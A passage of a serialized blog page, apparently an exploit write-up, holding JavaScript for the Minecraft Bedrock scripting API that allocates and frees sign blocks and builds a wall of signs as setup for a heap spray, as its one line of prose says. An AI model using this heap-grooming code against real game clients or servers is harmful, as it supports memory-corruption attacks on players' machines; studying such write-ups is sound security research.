sign",{"type":24,"tag":930,"props":152773,"children":152774},{"style":959},[152775],{"type":30,"value":436},{"type":24,"tag":930,"props":152777,"children":152778},{"style":1023},[152779],{"type":30,"value":152708},{"type":24,"tag":930,"props":152781,"children":152782},{"style":959},[152783],{"type":30,"value":436},{"type":24,"tag":930,"props":152785,"children":152786},{"style":1002},[152787],{"type":30,"value":152788},"setText",{"type":24,"tag":930,"props":152790,"children":152791},{"style":959},[152792],{"type":30,"value":1010},{"type":24,"tag":930,"props":152794,"children":152795},{"style":1023},[152796],{"type":30,"value":152646},{"type":24,"tag":930,"props":152798,"children":152799},{"style":959},[152800],{"type":30,"value":436},{"type":24,"tag":930,"props":152802,"children":152803},{"style":1002},[152804],{"type":30,"value":135643},{"type":24,"tag":930,"props":152806,"children":152807},{"style":959},[152808],{"type":30,"value":1010},{"type":24,"tag":930,"props":152810,"children":152811},{"style":1023},[152812],{"type":30,"value":126688},{"type":24,"tag":930,"props":152814,"children":152815},{"style":1158},[152816],{"type":30,"value":54344},{"type":24,"tag":930,"props":152818,"children":152819},{"style":1242},[152820],{"type":30,"value":7637},{"type":24,"tag":930,"props":152822,"children":152823},{"style":959},[152824],{"type":30,"value":2058},{"type":24,"tag":930,"props":152826,"children":152827},{"class":932,"line":1144},[152828,152832,152836,152840,152844,152848],{"type":24,"tag":930,"props":152829,"children":152830},{"style":1023},[152831],{"type":30,"value":152771},{"type":24,"tag":930,"props":152833,"children":152834},{"style":959},[152835],{"type":30,"value":436},{"type":24,"tag":930,"props":152837,"children":152838},{"style":1023},[152839],{"type":30,"value":152717},{"type":24,"tag":930,"props":152841,"children":152842},{"style":1158},[152843],{"type":30,"value":6137},{"type":24,"tag":930,"props":152845,"children":152846},{"style":937},[152847],{"type":30,"value":15576},{"type":24,"tag":930,"props":152849,"children":152850},{"style":959},[152851],{"type":30,"value":5539},{"type":24,"tag":930,"props":152853,"children":152854},{"class":932,"line":1169},[152855,152859,152863],{"type":24,"tag":930,"props":152856,"children":152857},{"style":1079},[152858],{"type":30,"value":18847},{"type":24,"tag":930,"props":152860,"children":152861},{"style":1023},[152862],{"type":30,"value":152679},{"type":24,"tag":930,"props":152864,"children":152865},{"style":959},[152866],{"type":30,"value":5539},{"type":24,"tag":930,"props":152868,"children":152869},{"class":932,"line":1191},[152870],{"type":24,"tag":930,"props":152871,"children":152872},{"style":959},[152873],{"type":30,"value":1840},{"type":24,"tag":930,"props":152875,"children":152876},{"class":932,"line":1223},[152877],{"type":24,"tag":930,"props":152878,"children":152879},{"emptyLinePlaceholder":16},[152880],{"type":30,"value":2412},{"type":24,"tag":930,"props":152882,"children":152883},{"class":932,"line":1281},[152884,152888,152892,152897,152901,152906],{"type":24,"tag":930,"props":152885,"children":152886},{"style":1023},[152887],{"type":30,"value":34531},{"type":24,"tag":930,"props":152889,"children":152890},{"style":959},[152891],{"type":30,"value":436},{"type":24,"tag":930,"props":152893,"children":152894},{"style":1002},[152895],{"type":30,"value":152896},"warn",{"type":24,"tag":930,"props":152898,"children":152899},{"style":959},[152900],{"type":30,"value":1010},{"type":24,"tag":930,"props":152902,"children":152903},{"style":1270},[152904],{"type":30,"value":152905},"\"No more allocs\"",{"type":24,"tag":930,"props":152907,"children":152908},{"style":959},[152909],{"type":30,"value":1278},{"type":24,"tag":930,"props":152911,"children":152912},{"class":932,"line":1313},[152913,152917,152921],{"type":24,"tag":930,"props":152914,"children":152915},{"style":1079},[152916],{"type":30,"value":20090},{"type":24,"tag":930,"props":152918,"children":152919},{"style":937},[152920],{"type":30,"value":42425},{"type":24,"tag":930,"props":152922,"children":152923},{"style":959},[152924],{"type":30,"value":5539},{"type":24,"tag":930,"props":152926,"children":152927},{"class":932,"line":1335},[152928],{"type":24,"tag":930,"props":152929,"children":152930},{"style":959},[152931],{"type":30,"value":2528},{"type":24,"tag":930,"props":152933,"children":152934},{"class":932,"line":1376},[152935],{"type":24,"tag":930,"props":152936,"children":152937},{"emptyLinePlaceholder":16},[152938],{"type":30,"value":2412},{"type":24,"tag":930,"props":152940,"children":152941},{"class":932,"line":1418},[152942],{"type":24,"tag":930,"props":152943,"children":152944},{"style":1422},[152945],{"type":30,"value":152946},"// Free an allocated sign in the client\n",{"type":24,"tag":930,"props":152948,"children":152949},{"class":932,"line":1438},[152950,152954,152959,152963,152967],{"type":24,"tag":930,"props":152951,"children":152952},{"style":937},[152953],{"type":30,"value":34469},{"type":24,"tag":930,"props":152955,"children":152956},{"style":1002},[152957],{"type":30,"value":152958}," free",{"type":24,"tag":930,"props":152960,"children":152961},{"style":959},[152962],{"type":30,"value":1010},{"type":24,"tag":930,"props":152964,"children":152965},{"style":1023},[152966],{"type":30,"value":152708},{"type":24,"tag":930,"props":152968,"children":152969},{"style":959},[152970],{"type":30,"value":1503},{"type":24,"tag":930,"props":152972,"children":152973},{"class":932,"line":1479},[152974,152978,152982,152986,152990,152994,152998,153002,153006,153010,153014,153018],{"type":24,"tag":930,"props":152975,"children":152976},{"style":1079},[152977],{"type":30,"value":15386},{"type":24,"tag":930,"props":152979,"children":152980},{"style":959},[152981],{"type":30,"value":1087},{"type":24,"tag":930,"props":152983,"children":152984},{"style":1023},[152985],{"type":30,"value":152708},{"type":24,"tag":930,"props":152987,"children":152988},{"style":1158},[152989],{"type":30,"value":6402},{"type":24,"tag":930,"props":152991,"children":152992},{"style":937},[152993],{"type":30,"value":42425},{"type":24,"tag":930,"props":152995,"children":152996},{"style":1158},[152997],{"type":30,"value":1250},{"type":24,"tag":930,"props":152999,"children":153000},{"style":1023},[153001],{"type":30,"value":152679},{"type":24,"tag":930,"props":153003,"children":153004},{"style":959},[153005],{"type":30,"value":436},{"type":24,"tag":930,"props":153007,"children":153008},{"style":1023},[153009],{"type":30,"value":152717},{"type":24,"tag":930,"props":153011,"children":153012},{"style":1158},[153013],{"type":30,"value":6402},{"type":24,"tag":930,"props":153015,"children":153016},{"style":937},[153017],{"type":30,"value":12167},{"type":24,"tag":930,"props":153019,"children":153020},{"style":959},[153021],{"type":30,"value":1503},{"type":24,"tag":930,"props":153023,"children":153024},{"class":932,"line":1506},[153025,153029],{"type":24,"tag":930,"props":153026,"children":153027},{"style":1079},[153028],{"type":30,"value":18847},{"type":24,"tag":930,"props":153030,"children":153031},{"style":959},[153032],{"type":30,"value":5539},{"type":24,"tag":930,"props":153034,"children":153035},{"class":932,"line":1525},[153036],{"type":24,"tag":930,"props":153037,"children":153038},{"style":959},[153039],{"type":30,"value":1840},{"type":24,"tag":930,"props":153041,"children":153042},{"class":932,"line":1569},[153043],{"type":24,"tag":930,"props":153044,"children":153045},{"emptyLinePlaceholder":16},[153046],{"type":30,"value":2412},{"type":24,"tag":930,"props":153048,"children":153049},{"class":932,"line":1592},[153050,153055,153059,153063,153067,153071,153075,153080],{"type":24,"tag":930,"props":153051,"children":153052},{"style":1023},[153053],{"type":30,"value":153054},"    sign",{"type":24,"tag":930,"props":153056,"children":153057},{"style":959},[153058],{"type":30,"value":436},{"type":24,"tag":930,"props":153060,"children":153061},{"style":1023},[153062],{"type":30,"value":152708},{"type":24,"tag":930,"props":153064,"children":153065},{"style":959},[153066],{"type":30,"value":436},{"type":24,"tag":930,"props":153068,"children":153069},{"style":1002},[153070],{"type":30,"value":152788},{"type":24,"tag":930,"props":153072,"children":153073},{"style":959},[153074],{"type":30,"value":1010},{"type":24,"tag":930,"props":153076,"children":153077},{"style":1270},[153078],{"type":30,"value":153079},"\"\"",{"type":24,"tag":930,"props":153081,"children":153082},{"style":959},[153083],{"type":30,"value":1278},{"type":24,"tag":930,"props":153085,"children":153086},{"class":932,"line":1610},[153087,153091,153095,153099,153103,153107],{"type":24,"tag":930,"props":153088,"children":153089},{"style":1023},[153090],{"type":30,"value":153054},{"type":24,"tag":930,"props":153092,"children":153093},{"style":959},[153094],{"type":30,"value":436},{"type":24,"tag":930,"props":153096,"children":153097},{"style":1023},[153098],{"type":30,"value":152717},{"type":24,"tag":930,"props":153100,"children":153101},{"style":1158},[153102],{"type":30,"value":6137},{"type":24,"tag":930,"props":153104,"children":153105},{"style":937},[153106],{"type":30,"value":12167},{"type":24,"tag":930,"props":153108,"children":153109},{"style":959},[153110],{"type":30,"value":5539},{"type":24,"tag":930,"props":153112,"children":153113},{"class":932,"line":1628},[153114],{"type":24,"tag":930,"props":153115,"children":153116},{"emptyLinePlaceholder":16},[153117],{"type":30,"value":2412},{"type":24,"tag":930,"props":153119,"children":153120},{"class":932,"line":1637},[153121,153125,153129,153134,153138,153143],{"type":24,"tag":930,"props":153122,"children":153123},{"style":1023},[153124],{"type":30,"value":153054},{"type":24,"tag":930,"props":153126,"children":153127},{"style":959},[153128],{"type":30,"value":436},{"type":24,"tag":930,"props":153130,"children":153131},{"style":1023},[153132],{"type":30,"value":153133},"block",{"type":24,"tag":930,"props":153135,"children":153136},{"style":959},[153137],{"type":30,"value":436},{"type":24,"tag":930,"props":153139,"children":153140},{"style":1002},[153141],{"type":30,"value":153142},"setPermutation",{"type":24,"tag":930,"props":153144,"children":153145},{"style":959},[153146],{"type":30,"value":2814},{"type":24,"tag":930,"props":153148,"children":153149},{"class":932,"line":1646},[153150,153155,153159,153164,153168,153173],{"type":24,"tag":930,"props":153151,"children":153152},{"style":1023},[153153],{"type":30,"value":153154},"        BlockPermutation",{"type":24,"tag":930,"props":153156,"children":153157},{"style":959},[153158],{"type":30,"value":436},{"type":24,"tag":930,"props":153160,"children":153161},{"style":1002},[153162],{"type":30,"value":153163},"resolve",{"type":24,"tag":930,"props":153165,"children":153166},{"style":959},[153167],{"type":30,"value":1010},{"type":24,"tag":930,"props":153169,"children":153170},{"style":1270},[153171],{"type":30,"value":153172},"\"minecraft:air\"",{"type":24,"tag":930,"props":153174,"children":153175},{"style":959},[153176],{"type":30,"value":1054},{"type":24,"tag":930,"props":153178,"children":153179},{"class":932,"line":1673},[153180],{"type":24,"tag":930,"props":153181,"children":153182},{"style":959},[153183],{"type":30,"value":46746},{"type":24,"tag":930,"props":153185,"children":153186},{"class":932,"line":1692},[153187,153191,153195,153199,153203,153207],{"type":24,"tag":930,"props":153188,"children":153189},{"style":1023},[153190],{"type":30,"value":153054},{"type":24,"tag":930,"props":153192,"children":153193},{"style":959},[153194],{"type":30,"value":436},{"type":24,"tag":930,"props":153196,"children":153197},{"style":1023},[153198],{"type":30,"value":135393},{"type":24,"tag":930,"props":153200,"children":153201},{"style":1158},[153202],{"type":30,"value":6137},{"type":24,"tag":930,"props":153204,"children":153205},{"style":937},[153206],{"type":30,"value":15576},{"type":24,"tag":930,"props":153208,"children":153209},{"style":959},[153210],{"type":30,"value":5539},{"type":24,"tag":930,"props":153212,"children":153213},{"class":932,"line":1730},[153214],{"type":24,"tag":930,"props":153215,"children":153216},{"style":959},[153217],{"type":30,"value":2528},{"type":24,"tag":33,"props":153219,"children":153220},{},[153221,153223,153229],{"type":30,"value":153222},"These functions will be used to perform the heap spray. Before that, we need to populate the ",{"type":24,"tag":156,"props":153224,"children":153226},{"className":153225},[],[153227],{"type":30,"value":153228},"signs",{"type":30,"value":153230}," array. For this, we generate a wall of signs when a player joins, and remove it after they leave:",{"type":24,"tag":920,"props":153232,"children":153234},{"code":153233,"language":38703,"meta":7,"className":38701,"style":7},"let signs;\n\nfunction create_wall() {\n    signs = [];\n\n    for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n        for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n\n            [...]\n            \n            const sign_block = world\n                .getDimension(\"overworld\")\n                .getBlock(sign_location);\n            sign_block.setPermutation(\n                BlockPermutation.resolve(\"minecraft:wall_sign\", {\n                    facing_direction: 3\n                }\n            ));\n            let sign_component = sign_block\n                .getComponent(BlockComponentTypes.Sign);\n\n            signs.push({\n                sign: sign_component,\n                allocated: false,\n                block: sign_block,\n                removed: false\n            });\n        }\n    }\n}\n\nfunction remove_wall() {\n    signs = [];\n    \n    for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n        for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n            \n            [...]\n             \n            const sign_block = await wait_for_block(\n                world.getDimension(\"overworld\"),\n                sign_location\n            );\n            sign_block.setPermutation(\n                BlockPermutation.resolve(\"minecraft:air\")\n            );\n\n            [...]\n        }\n    }\n}\n\nworld.afterEvents.playerSpawn.subscribe((arg) => {\n    create_wall();\n});\n\nworld.beforeEvents.playerLeave.subscribe(async (arg) => {\n    remove_wall();\n});\n",[153235],{"type":24,"tag":156,"props":153236,"children":153237},{"__ignoreMap":7},[153238,153253,153260,153276,153293,153300,153362,153424,153431,153447,153455,153477,153503,153528,153548,153577,153589,153596,153604,153626,153660,153667,153687,153703,153719,153735,153747,153755,153762,153769,153776,153783,153799,153814,153821,153880,153939,153946,153961,153969,153997,154025,154033,154040,154059,154086,154093,154100,154115,154122,154129,154136,154143,154199,154211,154218,154225,154286,154298],{"type":24,"tag":930,"props":153239,"children":153240},{"class":932,"line":933},[153241,153245,153249],{"type":24,"tag":930,"props":153242,"children":153243},{"style":937},[153244],{"type":30,"value":14894},{"type":24,"tag":930,"props":153246,"children":153247},{"style":1023},[153248],{"type":30,"value":152688},{"type":24,"tag":930,"props":153250,"children":153251},{"style":959},[153252],{"type":30,"value":5539},{"type":24,"tag":930,"props":153254,"children":153255},{"class":932,"line":984},[153256],{"type":24,"tag":930,"props":153257,"children":153258},{"emptyLinePlaceholder":16},[153259],{"type":30,"value":2412},{"type":24,"tag":930,"props":153261,"children":153262},{"class":932,"line":993},[153263,153267,153272],{"type":24,"tag":930,"props":153264,"children":153265},{"style":937},[153266],{"type":30,"value":34469},{"type":24,"tag":930,"props":153268,"children":153269},{"style":1002},[153270],{"type":30,"value":153271}," create_wall",{"type":24,"tag":930,"props":153273,"children":153274},{"style":959},[153275],{"type":30,"value":18839},{"type":24,"tag":930,"props":153277,"children":153278},{"class":932,"line":1057},[153279,153284,153288],{"type":24,"tag":930,"props":153280,"children":153281},{"style":1023},[153282],{"type":30,"value":153283},"    signs",{"type":24,"tag":930,"props":153285,"children":153286},{"style":1158},[153287],{"type":30,"value":6137},{"type":24,"tag":930,"props":153289,"children":153290},{"style":959},[153291],{"type":30,"value":153292}," [];\n",{"type":24,"tag":930,"props":153294,"children":153295},{"class":932,"line":1066},[153296],{"type":24,"tag":930,"props":153297,"children":153298},{"emptyLinePlaceholder":16},[153299],{"type":30,"value":2412},{"type":24,"tag":930,"props":153301,"children":153302},{"class":932,"line":1075},[153303,153307,153311,153315,153320,153324,153328,153332,153337,153341,153346,153350,153354,153358],{"type":24,"tag":930,"props":153304,"children":153305},{"style":1079},[153306],{"type":30,"value":6154},{"type":24,"tag":930,"props":153308,"children":153309},{"style":959},[153310],{"type":30,"value":1087},{"type":24,"tag":930,"props":153312,"children":153313},{"style":937},[153314],{"type":30,"value":14894},{"type":24,"tag":930,"props":153316,"children":153317},{"style":1023},[153318],{"type":30,"value":153319}," current_y",{"type":24,"tag":930,"props":153321,"children":153322},{"style":1158},[153323],{"type":30,"value":6137},{"type":24,"tag":930,"props":153325,"children":153326},{"style":1242},[153327],{"type":30,"value":1245},{"type":24,"tag":930,"props":153329,"children":153330},{"style":959},[153331],{"type":30,"value":20328},{"type":24,"tag":930,"props":153333,"children":153334},{"style":1023},[153335],{"type":30,"value":153336},"current_y",{"type":24,"tag":930,"props":153338,"children":153339},{"style":1158},[153340],{"type":30,"value":11828},{"type":24,"tag":930,"props":153342,"children":153343},{"style":1023},[153344],{"type":30,"value":153345}," WALL_HEIGHT",{"type":24,"tag":930,"props":153347,"children":153348},{"style":959},[153349],{"type":30,"value":20328},{"type":24,"tag":930,"props":153351,"children":153352},{"style":1023},[153353],{"type":30,"value":153336},{"type":24,"tag":930,"props":153355,"children":153356},{"style":1158},[153357],{"type":30,"value":54358},{"type":24,"tag":930,"props":153359,"children":153360},{"style":959},[153361],{"type":30,"value":1503},{"type":24,"tag":930,"props":153363,"children":153364},{"class":932,"line":1122},[153365,153369,153373,153377,153382,153386,153390,153394,153399,153403,153408,153412,153416,153420],{"type":24,"tag":930,"props":153366,"children":153367},{"style":1079},[153368],{"type":30,"value":63663},{"type":24,"tag":930,"props":153370,"children":153371},{"style":959},[153372],{"type":30,"value":1087},{"type":24,"tag":930,"props":153374,"children":153375},{"style":937},[153376],{"type":30,"value":14894},{"type":24,"tag":930,"props":153378,"children":153379},{"style":1023},[153380],{"type":30,"value":153381}," current_x",{"type":24,"tag":930,"props":153383,"children":153384},{"style":1158},[153385],{"type":30,"value":6137},{"type":24,"tag":930,"props":153387,"children":153388},{"style":1242},[153389],{"type":30,"value":1245},{"type":24,"tag":930,"props":153391,"children":153392},{"style":959},[153393],{"type":30,"value":20328},{"type":24,"tag":930,"props":153395,"children":153396},{"style":1023},[153397],{"type":30,"value":153398},"current_x",{"type":24,"tag":930,"props":153400,"children":153401},{"style":1158},[153402],{"type":30,"value":11828},{"type":24,"tag":930,"props":153404,"children":153405},{"style":1023},[153406],{"type":30,"value":153407}," WALL_WIDTH",{"type":24,"tag":930,"props":153409,"children":153410},{"style":959},[153411],{"type":30,"value":20328},{"type":24,"tag":930,"props":153413,"children":153414},{"style":1023},[153415],{"type":30,"value":153398},{"type":24,"tag":930,"props":153417,"children":153418},{"style":1158},[153419],{"type":30,"value":54358},{"type":24,"tag":930,"props":153421,"children":153422},{"style":959},[153423],{"type":30,"value":1503},{"type":24,"tag":930,"props":153425,"children":153426},{"class":932,"line":1131},[153427],{"type":24,"tag":930,"props":153428,"children":153429},{"emptyLinePlaceholder":16},[153430],{"type":30,"value":2412},{"type":24,"tag":930,"props":153432,"children":153433},{"class":932,"line":1144},[153434,153439,153443],{"type":24,"tag":930,"props":153435,"children":153436},{"style":959},[153437],{"type":30,"value":153438},"            [",{"type":24,"tag":930,"props":153440,"children":153441},{"style":1158},[153442],{"type":30,"value":12699},{"type":24,"tag":930,"props":153444,"children":153445},{"style":959},[153446],{"type":30,"value":14879},{"type":24,"tag":930,"props":153448,"children":153449},{"class":932,"line":1169},[153450],{"type":24,"tag":930,"props":153451,"children":153452},{"style":959},[153453],{"type":30,"value":153454},"            \n",{"type":24,"tag":930,"props":153456,"children":153457},{"class":932,"line":1191},[153458,153463,153468,153472],{"type":24,"tag":930,"props":153459,"children":153460},{"style":937},[153461],{"type":30,"value":153462},"            const",{"type":24,"tag":930,"props":153464,"children":153465},{"style":1023},[153466],{"type":30,"value":153467}," sign_block",{"type":24,"tag":930,"props":153469,"children":153470},{"style":1158},[153471],{"type":30,"value":6137},{"type":24,"tag":930,"props":153473,"children":153474},{"style":1023},[153475],{"type":30,"value":153476}," world\n",{"type":24,"tag":930,"props":153478,"children":153479},{"class":932,"line":1223},[153480,153485,153490,153494,153499],{"type":24,"tag":930,"props":153481,"children":153482},{"style":959},[153483],{"type":30,"value":153484},"                .",{"type":24,"tag":930,"props":153486,"children":153487},{"style":1002},[153488],{"type":30,"value":153489},"getDimension",{"type":24,"tag":930,"props":153491,"children":153492},{"style":959},[153493],{"type":30,"value":1010},{"type":24,"tag":930,"props":153495,"children":153496},{"style":1270},[153497],{"type":30,"value":153498},"\"overworld\"",{"type":24,"tag":930,"props":153500,"children":153501},{"style":959},[153502],{"type":30,"value":1054},{"type":24,"tag":930,"props":153504,"children":153505},{"class":932,"line":1281},[153506,153510,153515,153519,153524],{"type":24,"tag":930,"props":153507,"children":153508},{"style":959},[153509],{"type":30,"value":153484},{"type":24,"tag":930,"props":153511,"children":153512},{"style":1002},[153513],{"type":30,"value":153514},"getBlock",{"type":24,"tag":930,"props":153516,"children":153517},{"style":959},[153518],{"type":30,"value":1010},{"type":24,"tag":930,"props":153520,"children":153521},{"style":1023},[153522],{"type":30,"value":153523},"sign_location",{"type":24,"tag":930,"props":153525,"children":153526},{"style":959},[153527],{"type":30,"value":1278},{"type":24,"tag":930,"props":153529,"children":153530},{"class":932,"line":1313},[153531,153536,153540,153544],{"type":24,"tag":930,"props":153532,"children":153533},{"style":1023},[153534],{"type":30,"value":153535},"            sign_block",{"type":24,"tag":930,"props":153537,"children":153538},{"style":959},[153539],{"type":30,"value":436},{"type":24,"tag":930,"props":153541,"children":153542},{"style":1002},[153543],{"type":30,"value":153142},{"type":24,"tag":930,"props":153545,"children":153546},{"style":959},[153547],{"type":30,"value":2814},{"type":24,"tag":930,"props":153549,"children":153550},{"class":932,"line":1335},[153551,153556,153560,153564,153568,153573],{"type":24,"tag":930,"props":153552,"children":153553},{"style":1023},[153554],{"type":30,"value":153555},"                BlockPermutation",{"type":24,"tag":930,"props":153557,"children":153558},{"style":959},[153559],{"type":30,"value":436},{"type":24,"tag":930,"props":153561,"children":153562},{"style":1002},[153563],{"type":30,"value":153163},{"type":24,"tag":930,"props":153565,"children":153566},{"style":959},[153567],{"type":30,"value":1010},{"type":24,"tag":930,"props":153569,"children":153570},{"style":1270},[153571],{"type":30,"value":153572},"\"minecraft:wall_sign\"",{"type":24,"tag":930,"props":153574,"children":153575},{"style":959},[153576],{"type":30,"value":51971},{"type":24,"tag":930,"props":153578,"children":153579},{"class":932,"line":1376},[153580,153585],{"type":24,"tag":930,"props":153581,"children":153582},{"style":1023},[153583],{"type":30,"value":153584},"                    facing_direction:",{"type":24,"tag":930,"props":153586,"children":153587},{"style":1242},[153588],{"type":30,"value":22429},{"type":24,"tag":930,"props":153590,"children":153591},{"class":932,"line":1418},[153592],{"type":24,"tag":930,"props":153593,"children":153594},{"style":959},[153595],{"type":30,"value":1634},{"type":24,"tag":930,"props":153597,"children":153598},{"class":932,"line":1438},[153599],{"type":24,"tag":930,"props":153600,"children":153601},{"style":959},[153602],{"type":30,"value":153603},"            ));\n",{"type":24,"tag":930,"props":153605,"children":153606},{"class":932,"line":1479},[153607,153612,153617,153621],{"type":24,"tag":930,"props":153608,"children":153609},{"style":937},[153610],{"type":30,"value":153611},"            let",{"type":24,"tag":930,"props":153613,"children":153614},{"style":1023},[153615],{"type":30,"value":153616}," sign_component",{"type":24,"tag":930,"props":153618,"children":153619},{"style":1158},[153620],{"type":30,"value":6137},{"type":24,"tag":930,"props":153622,"children":153623},{"style":1023},[153624],{"type":30,"value":153625}," sign_block\n",{"type":24,"tag":930,"props":153627,"children":153628},{"class":932,"line":1506},[153629,153633,153638,153642,153647,153651,153656],{"type":24,"tag":930,"props":153630,"children":153631},{"style":959},[153632],{"type":30,"value":153484},{"type":24,"tag":930,"props":153634,"children":153635},{"style":1002},[153636],{"type":30,"value":153637},"getComponent",{"type":24,"tag":930,"props":153639,"children":153640},{"style":959},[153641],{"type":30,"value":1010},{"type":24,"tag":930,"props":153643,"children":153644},{"style":1023},[153645],{"type":30,"value":153646},"BlockComponentTypes",{"type":24,"tag":930,"props":153648,"children":153649},{"style":959},[153650],{"type":30,"value":436},{"type":24,"tag":930,"props":153652,"children":153653},{"style":1023},[153654],{"type":30,"value":153655},"Sign",{"type":24,"tag":930,"props":153657,"children":153658},{"style":959},[153659],{"type":30,"value":1278},{"type":24,"tag":930,"props":153661,"children":153662},{"class":932,"line":1525},[153663],{"type":24,"tag":930,"props":153664,"children":153665},{"emptyLinePlaceholder":16},[153666],{"type":30,"value":2412},{"type":24,"tag":930,"props":153668,"children":153669},{"class":932,"line":1569},[153670,153675,153679,153683],{"type":24,"tag":930,"props":153671,"children":153672},{"style":1023},[153673],{"type":30,"value":153674},"            signs",{"type":24,"tag":930,"props":153676,"children":153677},{"style":959},[153678],{"type":30,"value":436},{"type":24,"tag":930,"props":153680,"children":153681},{"style":1002},[153682],{"type":30,"value":6928},{"type":24,"tag":930,"props":153684,"children":153685},{"style":959},[153686],{"type":30,"value":18244},{"type":24,"tag":930,"props":153688,"children":153689},{"class":932,"line":1592},[153690,153695,153699],{"type":24,"tag":930,"props":153691,"children":153692},{"style":1023},[153693],{"type":30,"value":153694},"                sign:",{"type":24,"tag":930,"props":153696,"children":153697},{"style":1023},[153698],{"type":30,"value":153616},{"type":24,"tag":930,"props":153700,"children":153701},{"style":959},[153702],{"type":30,"value":2832},{"type":24,"tag":930,"props":153704,"children":153705},{"class":932,"line":1610},[153706,153711,153715],{"type":24,"tag":930,"props":153707,"children":153708},{"style":1023},[153709],{"type":30,"value":153710},"                allocated:",{"type":24,"tag":930,"props":153712,"children":153713},{"style":937},[153714],{"type":30,"value":12167},{"type":24,"tag":930,"props":153716,"children":153717},{"style":959},[153718],{"type":30,"value":2832},{"type":24,"tag":930,"props":153720,"children":153721},{"class":932,"line":1628},[153722,153727,153731],{"type":24,"tag":930,"props":153723,"children":153724},{"style":1023},[153725],{"type":30,"value":153726},"                block:",{"type":24,"tag":930,"props":153728,"children":153729},{"style":1023},[153730],{"type":30,"value":153467},{"type":24,"tag":930,"props":153732,"children":153733},{"style":959},[153734],{"type":30,"value":2832},{"type":24,"tag":930,"props":153736,"children":153737},{"class":932,"line":1637},[153738,153743],{"type":24,"tag":930,"props":153739,"children":153740},{"style":1023},[153741],{"type":30,"value":153742},"                removed:",{"type":24,"tag":930,"props":153744,"children":153745},{"style":937},[153746],{"type":30,"value":15418},{"type":24,"tag":930,"props":153748,"children":153749},{"class":932,"line":1646},[153750],{"type":24,"tag":930,"props":153751,"children":153752},{"style":959},[153753],{"type":30,"value":153754},"            });\n",{"type":24,"tag":930,"props":153756,"children":153757},{"class":932,"line":1673},[153758],{"type":24,"tag":930,"props":153759,"children":153760},{"style":959},[153761],{"type":30,"value":1831},{"type":24,"tag":930,"props":153763,"children":153764},{"class":932,"line":1692},[153765],{"type":24,"tag":930,"props":153766,"children":153767},{"style":959},[153768],{"type":30,"value":1840},{"type":24,"tag":930,"props":153770,"children":153771},{"class":932,"line":1730},[153772],{"type":24,"tag":930,"props":153773,"children":153774},{"style":959},[153775],{"type":30,"value":2528},{"type":24,"tag":930,"props":153777,"children":153778},{"class":932,"line":1762},[153779],{"type":24,"tag":930,"props":153780,"children":153781},{"emptyLinePlaceholder":16},[153782],{"type":30,"value":2412},{"type":24,"tag":930,"props":153784,"children":153785},{"class":932,"line":1775},[153786,153790,153795],{"type":24,"tag":930,"props":153787,"children":153788},{"style":937},[153789],{"type":30,"value":34469},{"type":24,"tag":930,"props":153791,"children":153792},{"style":1002},[153793],{"type":30,"value":153794}," remove_wall",{"type":24,"tag":930,"props":153796,"children":153797},{"style":959},[153798],{"type":30,"value":18839},{"type":24,"tag":930,"props":153800,"children":153801},{"class":932,"line":1825},[153802,153806,153810],{"type":24,"tag":930,"props":153803,"children":153804},{"style":1023},[153805],{"type":30,"value":153283},{"type":24,"tag":930,"props":153807,"children":153808},{"style":1158},[153809],{"type":30,"value":6137},{"type":24,"tag":930,"props":153811,"children":153812},{"style":959},[153813],{"type":30,"value":153292},{"type":24,"tag":930,"props":153815,"children":153816},{"class":932,"line":1834},[153817],{"type":24,"tag":930,"props":153818,"children":153819},{"style":959},[153820],{"type":30,"value":64873},{"type":24,"tag":930,"props":153822,"children":153823},{"class":932,"line":1843},[153824,153828,153832,153836,153840,153844,153848,153852,153856,153860,153864,153868,153872,153876],{"type":24,"tag":930,"props":153825,"children":153826},{"style":1079},[153827],{"type":30,"value":6154},{"type":24,"tag":930,"props":153829,"children":153830},{"style":959},[153831],{"type":30,"value":1087},{"type":24,"tag":930,"props":153833,"children":153834},{"style":937},[153835],{"type":30,"value":14894},{"type":24,"tag":930,"props":153837,"children":153838},{"style":1023},[153839],{"type":30,"value":153319},{"type":24,"tag":930,"props":153841,"children":153842},{"style":1158},[153843],{"type":30,"value":6137},{"type":24,"tag":930,"props":153845,"children":153846},{"style":1242},[153847],{"type":30,"value":1245},{"type":24,"tag":930,"props":153849,"children":153850},{"style":959},[153851],{"type":30,"value":20328},{"type":24,"tag":930,"props":153853,"children":153854},{"style":1023},[153855],{"type":30,"value":153336},{"type":24,"tag":930,"props":153857,"children":153858},{"style":1158},[153859],{"type":30,"value":11828},{"type":24,"tag":930,"props":153861,"children":153862},{"style":1023},[153863],{"type":30,"value":153345},{"type":24,"tag":930,"props":153865,"children":153866},{"style":959},[153867],{"type":30,"value":20328},{"type":24,"tag":930,"props":153869,"children":153870},{"style":1023},[153871],{"type":30,"value":153336},{"type":24,"tag":930,"props":153873,"children":153874},{"style":1158},[153875],{"type":30,"value":54358},{"type":24,"tag":930,"props":153877,"children":153878},{"style":959},[153879],{"type":30,"value":1503},{"type":24,"tag":930,"props":153881,"children":153882},{"class":932,"line":1851},[153883,153887,153891,153895,153899,153903,153907,153911,153915,153919,153923,153927,153931,153935],{"type":24,"tag":930,"props":153884,"children":153885},{"style":1079},[153886],{"type":30,"value":63663},{"type":24,"tag":930,"props":153888,"children":153889},{"style":959},[153890],{"type":30,"value":1087},{"type":24,"tag":930,"props":153892,"children":153893},{"style":937},[153894],{"type":30,"value":14894},{"type":24,"tag":930,"props":153896,"children":153897},{"style":1023},[153898],{"type":30,"value":153381},{"type":24,"tag":930,"props":153900,"children":153901},{"style":1158},[153902],{"type":30,"value":6137},{"type":24,"tag":930,"props":153904,"children":153905},{"style":1242},[153906],{"type":30,"value":1245},{"type":24,"tag":930,"props":153908,"children":153909},{"style":959},[153910],{"type":30,"value":20328},{"type":24,"tag":930,"props":153912,"children":153913},{"style":1023},[153914],{"type":30,"value":153398},{"type":24,"tag":930,"props":153916,"children":153917},{"style":1158},[153918],{"type":30,"value":11828},{"type":24,"tag":930,"props":153920,"children":153921},{"style":1023},[153922],{"type":30,"value":153407},{"type":24,"tag":930,"props":153924,"children":153925},{"style":959},[153926],{"type":30,"value":20328},{"type":24,"tag":930,"props":153928,"children":153929},{"style":1023},[153930],{"type":30,"value":153398},{"type":24,"tag":930,"props":153932,"children":153933},{"style":1158},[153934],{"type":30,"value":54358},{"type":24,"tag":930,"props":153936,"children":153937},{"style":959},[153938]